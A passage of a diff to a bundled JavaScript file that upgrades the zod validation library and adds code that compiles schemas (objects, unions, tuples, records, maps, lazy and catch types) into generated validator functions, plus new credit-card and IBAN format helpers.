= { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys2) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys2.length > 0 ? addConstant(ctx, new Set(keys2)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function isExactOptional(schema) { + return schema._zod.traits?.has("$ZodExactOptional") === true; +} +function requiresPresenceCheck(schema) { + return schema._zod.optin === void 0 && fastPathAcceptsAbsence(schema); +} +function fastPathAcceptsAbsence(schema) { + if (schema._zod.def.coerce) + return true; + const def = schema._zod.def; + switch (def.type) { + case "any": + case "unknown": + case "undefined": + case "void": + case "default": + case "prefault": + case "transform": + case "custom": + case "lazy": + return true; + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "never": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + return false; + case "nonoptional": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + case "nullable": + case "readonly": + case "success": + return def.innerType ? fastPathAcceptsAbsence(def.innerType) : true; + case "catch": + return true; + case "union": + return def.options ? def.options.some(fastPathAcceptsAbsence) : true; + case "intersection": + if (!def.left || !def.right) + return true; + return fastPathAcceptsAbsence(def.left) && fastPathAcceptsAbsence(def.right); + case "pipe": + return def.in ? fastPathAcceptsAbsence(def.in) : true; + default: + return true; + } +} +function dropsWhenAbsent(schema) { + return schema._zod.optin === "optional" && schema._zod.optout === "optional"; +} +function mayOmitUndefined(schema) { + return (schema._zod.optin !== "defaulted" || schema._zod.optout === "optional") && mayOutputUndefined(schema); +} +function mayOutputUndefined(schema) { + const def = schema._zod.def; + switch (def.type) { + case "string": + case "number": + case "boolean": + case "bigint": + case "symbol": + case "null": + case "nan": + case "date": + case "object": + case "array": + case "tuple": + case "record": + case "map": + case "set": + case "file": + case "template_literal": + case "never": + case "success": + return false; + case "literal": + return !!def.values?.includes(void 0); + case "enum": + return !!schema._zod.values?.has(void 0); + case "optional": + return true; + case "nullable": + case "readonly": + case "nonoptional": + return def.innerType ? mayOutputUndefined(def.innerType) : true; + case "union": + return def.options ? def.options.some(mayOutputUndefined) : true; + case "intersection": + return !def.left || !def.right || mayOutputUndefined(def.left) || mayOutputUndefined(def.right); + case "pipe": + return def.out ? mayOutputUndefined(def.out) : true; + default: + return true; + } +} +function generateNullableCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar} = null;`); + doc.write(`if (${accessor} !== null) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateSizeGate(doc, schema, size3) { + for (const [max2, check3] of sizeCaps(schema._zod.def.checks)) { + doc.write(`if (${size3} > ${numericOperand(max2, check3._zod.def.check)}) return INVALID;`); + } +} +function generateArrayCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.length`); + const outputVar = buildsValue ? newVar(ctx) : null; + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + if (outputVar) + doc.write(`const ${outputVar} = new Array(${accessor}.length);`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, def.element, elemVar, buildsValue); + if (outputVar && elemOutput !== null) + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + return outputVar; +} +function generateLiteralCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const values3 = def.values; + if (values3.length !== 1) { + const literalSet = addConstant(ctx, new Set(values3)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + const value = values3[0]; + if (typeof value === "number" && Number.isNaN(value)) { + const literalSet = addConstant(ctx, new Set(values3)); + doc.write(`if (!${literalSet}.has(${accessor})) return INVALID;`); + return accessor; + } + if (typeof value === "string") { + doc.write(`if (${accessor} !== ${esc(value)}) return INVALID;`); + } else if (typeof value === "number" || typeof value === "boolean") { + doc.write(`if (${accessor} !== ${value}) return INVALID;`); + } else if (value === null) { + doc.write(`if (${accessor} !== null) return INVALID;`); + } else if (value === void 0) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + } else if (typeof value === "bigint") { + doc.write(`if (${accessor} !== ${value}n) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError(`literal type ${typeof value}`); + } + return accessor; +} +function generateEnumCheck(doc, ctx, schema, accessor) { + const values3 = schema._zod.values; + if (!values3) { + throw new ZodCompileUnsupportedError("enum schema without enumerated values"); + } + const enumSet = addConstant(ctx, values3); + doc.write(`if (!${enumSet}.has(${accessor})) return INVALID;`); + return accessor; +} +function generateWrapperCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + return generateCheck(doc, ctx, def.innerType, accessor); +} +function generateDefaultCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const descriptor = Object.getOwnPropertyDescriptor(schema._zod.def, "defaultValue"); + const defaultGetter = descriptor ? () => schema._zod.def.defaultValue : void 0; + if (schema._zod.def.type === "prefault") { + if (!defaultGetter) { + return generateCheck(doc, ctx, def.innerType, accessor); + } + const defaultFn = addConstant(ctx, defaultGetter); + const inputVar = newVar(ctx); + doc.write(`let ${inputVar} = ${accessor};`); + doc.write(`if (${accessor} === undefined) ${inputVar} = ${defaultFn}();`); + return generateCheck(doc, ctx, def.innerType, inputVar); + } + const outputVar = newVar(ctx); + if (defaultGetter) { + const defaultFn = addConstant(ctx, defaultGetter); + const cloneFn = addConstant(ctx, shallowClone); + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${cloneFn}(${defaultFn}());`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput} === undefined ? ${cloneFn}(${defaultFn}()) : ${innerOutput};`); + }); + doc.write(`}`); + } else { + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar} = ${innerOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function generateNonOptionalCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const innerOutput = generateCheck(doc, ctx, def.innerType, accessor); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${innerOutput};`); + doc.write(`if (${outputVar} === undefined) return INVALID;`); + return outputVar; +} +function generateTupleCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const items = def.items; + const rest2 = def.rest; + doc.write(`if (!Array.isArray(${accessor})) return INVALID;`); + const optinStart = getTupleOptStart2(items, "optin"); + const optoutStart = getTupleOptStart2(items, "optout"); + if (rest2) { + doc.write(`if (${accessor}.length < ${optinStart}) return INVALID;`); + } else { + doc.write(`if (${accessor}.length < ${optinStart} || ${accessor}.length > ${items.length}) return INVALID;`); + } + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = [];`); + for (let i = 0; i < items.length; i++) { + const itemSchema = items[i]; + if (i >= optoutStart) { + doc.write(`if (${outputVar}.length === ${i}) {`); + doc.indented((d) => { + d.write(`if (${i} < ${accessor}.length) {`); + d.indented((d2) => { + const elemVar = newVar(ctx); + d2.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(d2, ctx, itemSchema, elemVar); + d2.write(`${outputVar}[${i}] = ${elemOutput};`); + }); + d.write(`} else {`); + d.indented((d2) => { + if (dropsWhenAbsent(itemSchema)) { + d2.write(`${outputVar}.length = ${i};`); + return; + } + const elemVar = newVar(ctx); + const branchVar = newVar(ctx); + d2.write(`const ${elemVar} = undefined;`); + d2.write(`const ${branchVar} = (() => {`); + d2.indented((d3) => { + const elemOutput = compileChild(d3, ctx, itemSchema, elemVar); + d3.write(`return ${elemOutput};`); + }); + d2.write(`})();`); + d2.write(`if (${branchVar} === INVALID || ${branchVar} === undefined) ${outputVar}.length = ${i};`); + d2.write(`else ${outputVar}[${i}] = ${branchVar};`); + }); + d.write(`}`); + }); + doc.write(`}`); + } else { + const elemVar = newVar(ctx); + doc.write(`const ${elemVar} = ${accessor}[${i}];`); + const elemOutput = compileChild(doc, ctx, itemSchema, elemVar); + doc.write(`${outputVar}[${i}] = ${elemOutput};`); + } + } + if (rest2) { + const iVar = newVar(ctx); + const elemVar = newVar(ctx); + doc.write(`for (let ${iVar} = ${items.length}; ${iVar} < ${accessor}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${elemVar} = ${accessor}[${iVar}];`); + const elemOutput = compileChild(d, ctx, rest2, elemVar); + d.write(`${outputVar}[${iVar}] = ${elemOutput};`); + }); + doc.write(`}`); + } + return outputVar; +} +function getTupleOptStart2(items, key) { + for (let i = items.length - 1; i >= 0; i--) { + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) + return i + 1; + } + return 0; +} +function generateUnionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const options = def.options; + if (def.discriminator) { + return generateDiscriminatedUnionCheck(doc, ctx, def, accessor); + } + if (def.inclusive === false) { + throw new ZodCompileUnsupportedError("exclusive unions (z.xor)"); + } + if (options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + if (options.length === 1) { + return generateCheck(doc, ctx, options[0], accessor); + } + const allLiterals = options.every((opt) => opt._zod.def.type === "literal" && !opt._zod.def.checks?.length); + if (allLiterals) { + const values3 = new Set(options.flatMap((opt) => opt._zod.def.values)); + const valuesConst = addConstant(ctx, values3); + doc.write(`if (!${valuesConst}.has(${accessor})) return INVALID;`); + return accessor; + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar};`); + for (let i = 0; i < options.length; i++) { + const opt = options[i]; + if (i === 0) { + doc.write(`${outputVar} = (() => {`); + } else { + doc.write(`if (${outputVar} === INVALID) ${outputVar} = (() => {`); + } + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, opt, accessor); + d.write(`return ${branchOutput};`); + }); + doc.write(`})();`); + } + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generateDiscriminatedUnionCheck(doc, ctx, def, accessor) { + if (def.unionFallback) { + throw new ZodCompileUnsupportedError("discriminated union with unionFallback"); + } + if (def.options.length === 0) { + doc.write("return INVALID;"); + return accessor; + } + const discVar = newVar(ctx); + const outputVar = newVar(ctx); + doc.write(`const ${discVar} = ${accessor}?.[${esc(def.discriminator)}];`); + doc.write(`let ${outputVar};`); + let firstBranch = true; + const claimed = /* @__PURE__ */ new Set(); + for (const option of def.options) { + const values3 = option._zod.propValues?.[def.discriminator]; + if (!values3 || values3.size === 0) { + throw new ZodCompileUnsupportedError("discriminated union option without static discriminator values"); + } + for (const value of values3) { + if (claimed.has(value)) { + throw new ZodCompileUnsupportedError(`duplicate discriminator value ${String(value)}`); + } + claimed.add(value); + } + const conditions = Array.from(values3, (value) => literalEquality(ctx, discVar, value)); + const prefix = firstBranch ? "if" : "else if"; + doc.write(`${prefix} (${conditions.join(" || ")}) {`); + doc.indented((d) => { + const branchOutput = generateCheck(d, ctx, option, accessor); + d.write(`${outputVar} = ${branchOutput};`); + }); + doc.write(`}`); + firstBranch = false; + } + doc.write(`else { return INVALID; }`); + return outputVar; +} +function literalEquality(ctx, accessor, value) { + if (typeof value === "string") + return `${accessor} === ${esc(value)}`; + if (typeof value === "number") { + if (Number.isNaN(value)) + return `Number.isNaN(${accessor})`; + return `${accessor} === ${value}`; + } + if (typeof value === "boolean") + return `${accessor} === ${value}`; + if (value === null) + return `${accessor} === null`; + if (value === void 0) + return `${accessor} === undefined`; + if (typeof value === "bigint") + return `${accessor} === ${value}n`; + if (typeof value === "symbol") { + const symbolConst = addConstant(ctx, value); + return `${accessor} === ${symbolConst}`; + } + throw new ZodCompileUnsupportedError(`literal discriminator value ${String(value)}`); +} +function generateIntersectionCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + ctx.definite = false; + const leftOutput = compileChild(doc, ctx, def.left, accessor); + const rightOutput = compileChild(doc, ctx, def.right, accessor); + const mergeConst = addConstant(ctx, mergeValues); + const mergedVar = newVar(ctx); + doc.write(`const ${mergedVar} = ${mergeConst}(${leftOutput}, ${rightOutput});`); + doc.write(`if (!${mergedVar}.valid) return INVALID;`); + return `${mergedVar}.data`; +} +function generateRecordCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const isPlainObjectConst = addConstant(ctx, isPlainObject); + doc.write(`if (!${isPlainObjectConst}(${accessor})) return INVALID;`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = {};`); + const recordDef = def; + const keyValues = recordDef.partial ? void 0 : def.keyType._zod.values; + if (keyValues) { + const inputKeys = []; + for (const key of keyValues) { + if (!(typeof key === "string" || typeof key === "number" || typeof key === "symbol")) { + throw new ZodCompileUnsupportedError(`record key value ${String(key)}`); + } + const inputKey = typeof key === "number" ? key.toString() : key; + if (inputKey === "__proto__") { + throw new ZodCompileUnsupportedError('record key "__proto__"'); + } + inputKeys.push(inputKey); + const keyConst = addConstant(ctx, key); + const outKey = generateCheck(doc, ctx, def.keyType, keyConst); + const valueVar = newVar(ctx); + doc.write(`const ${valueVar} = ${accessor}[${literalPropertyKey(ctx, inputKey)}];`); + const valOutput = compileChild(doc, ctx, def.valueType, valueVar); + doc.write(`${outputVar}[${outKey}] = ${valOutput};`); + } + const knownKeysConst = addConstant(ctx, new Set(inputKeys)); + doc.write(`for (const ${kVar} in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${knownKeysConst}.has(${kVar})) continue;`); + if (recordDef.mode === "loose") { + d.write(`if (${kVar} !== "__proto__") ${outputVar}[${kVar}] = ${accessor}[${kVar}];`); + } else { + d.write(`return INVALID;`); + } + }); + doc.write(`}`); + return outputVar; + } + const keyDef = def.keyType._zod.def; + const keyIsBareString = keyDef.type === "string" && keyDef.format === void 0 && !keyDef.coerce && (keyDef.checks?.length ?? 0) === 0; + if (!keyIsBareString) { + const isLoose = def.mode === "loose"; + const keyFn = compileFn(def.keyType); + if (keyFn.definite === false) + ctx.definite = false; + const keyFast = addConstant(ctx, keyFn); + const numericConst = addConstant(ctx, number); + const outKeyVar = newVar(ctx); + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`let ${outKeyVar} = ${keyFast}(${kVar});`); + d.write(`if (${outKeyVar} === INVALID && typeof ${kVar} === "string" && ${numericConst}.test(${kVar})) ${outKeyVar} = ${keyFast}(Number(${kVar}));`); + if (isLoose) { + d.write(`if (${outKeyVar} === INVALID) { ${outputVar}[${kVar}] = ${accessor}[${kVar}]; continue; }`); + } else { + d.write(`if (${outKeyVar} === INVALID) return INVALID;`); + } + d.write(`if (${outKeyVar} === "__proto__") continue;`); + const valueVar = newVar(ctx); + d.write(`const ${valueVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valueVar); + d.write(`${outputVar}[${outKeyVar}] = ${valOutput};`); + }); + return outputVar; + } + emitOwnKeys(doc, ctx, accessor, kVar, (d) => { + d.write(`const ${valVar} = ${accessor}[${kVar}];`); + const valOutput = compileChild(d, ctx, def.valueType, valVar); + d.write(`${outputVar}[${kVar}] = ${valOutput};`); + }, `return INVALID;`); + return outputVar; +} +function emitOwnKeys(doc, ctx, accessor, kVar, body, onSymbol) { + const propIsEnumerableConst = addConstant(ctx, Object.prototype.propertyIsEnumerable); + const symsVar = newVar(ctx); + const keysVar = newVar(ctx); + const iVar = newVar(ctx); + doc.write(`const ${symsVar} = Object.getOwnPropertySymbols(${accessor});`); + doc.write(`const ${keysVar} = Object.getOwnPropertyNames(${accessor});`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${keysVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${keysVar}[${iVar}];`); + d.write(`if (${kVar} === "__proto__" || !${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + body(d); + }); + doc.write(`}`); + doc.write(`for (let ${iVar} = 0; ${iVar} < ${symsVar}.length; ${iVar}++) {`); + doc.indented((d) => { + d.write(`const ${kVar} = ${symsVar}[${iVar}];`); + d.write(`if (!${propIsEnumerableConst}.call(${accessor}, ${kVar})) continue;`); + if (onSymbol) + d.write(onSymbol); + else + body(d); + }); + doc.write(`}`); +} +function literalPropertyKey(ctx, key) { + if (typeof key === "string") + return esc(key); + return addConstant(ctx, key); +} +function generateMapCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Map)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const kVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Map();`); + doc.write(`for (const [${kVar}, ${valVar}] of ${accessor}) {`); + doc.indented((d) => { + const keyOutput = generateCheck(d, ctx, def.keyType, kVar); + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.set(${keyOutput}, ${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateSetCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + doc.write(`if (!(${accessor} instanceof Set)) return INVALID;`); + generateSizeGate(doc, schema, `${accessor}.size`); + const outputVar = newVar(ctx); + const valVar = newVar(ctx); + doc.write(`const ${outputVar} = new Set();`); + doc.write(`for (const ${valVar} of ${accessor}) {`); + doc.indented((d) => { + const valOutput = generateCheck(d, ctx, def.valueType, valVar); + d.write(`${outputVar}.add(${valOutput});`); + }); + doc.write(`}`); + return outputVar; +} +function generateFileCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof File)) return INVALID;`); + return accessor; +} +function generateTemplateLiteralCheck(doc, ctx, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const pattern = schema._zod.pattern; + if (pattern) { + const patternConst = addConstant(ctx, pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + } + return accessor; +} +function generateLazyCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const getterConst = addUserConstant(ctx, def.getter); + const cacheConst = addConstant(ctx, { parser: null }); + doc.write(`if (!${cacheConst}.parser) {`); + doc.indented((d) => { + d.write(`const inner = ${getterConst}();`); + d.write(`${cacheConst}.parser = function(input) {`); + d.indented((d2) => { + d2.write(`const result = inner._zod.run({ value: input, issues: [] }, {});`); + d2.write(`return result.issues.length === 0 ? result.value : INVALID;`); + }); + d.write(`};`); + }); + doc.write(`}`); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${cacheConst}.parser(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result2 = transformFn(value, fakePayload); + if (result2 instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result2 : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result2 = innerSchema._zod.run({ value, issues: [] }, {}); + if (result2 && typeof result2.then === "function") + return INVALID; + const r = result2; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result2 = transformFn(value, fakePayload); + if (result2 instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result2 : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -99425,6 +103600,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -99483,20 +103678,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -99838,6 +104024,14 @@ function _property(property2, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -99854,23 +104048,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -100037,7 +104231,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -100110,7 +104304,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -100175,8 +104370,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -100195,8 +104390,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -100204,13 +104399,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -100224,7 +104421,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = 